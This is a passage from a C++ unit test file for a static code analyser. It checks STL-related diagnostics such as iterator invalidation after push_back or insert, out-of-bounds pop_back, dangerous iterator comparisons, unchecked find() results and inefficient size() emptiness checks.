v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo 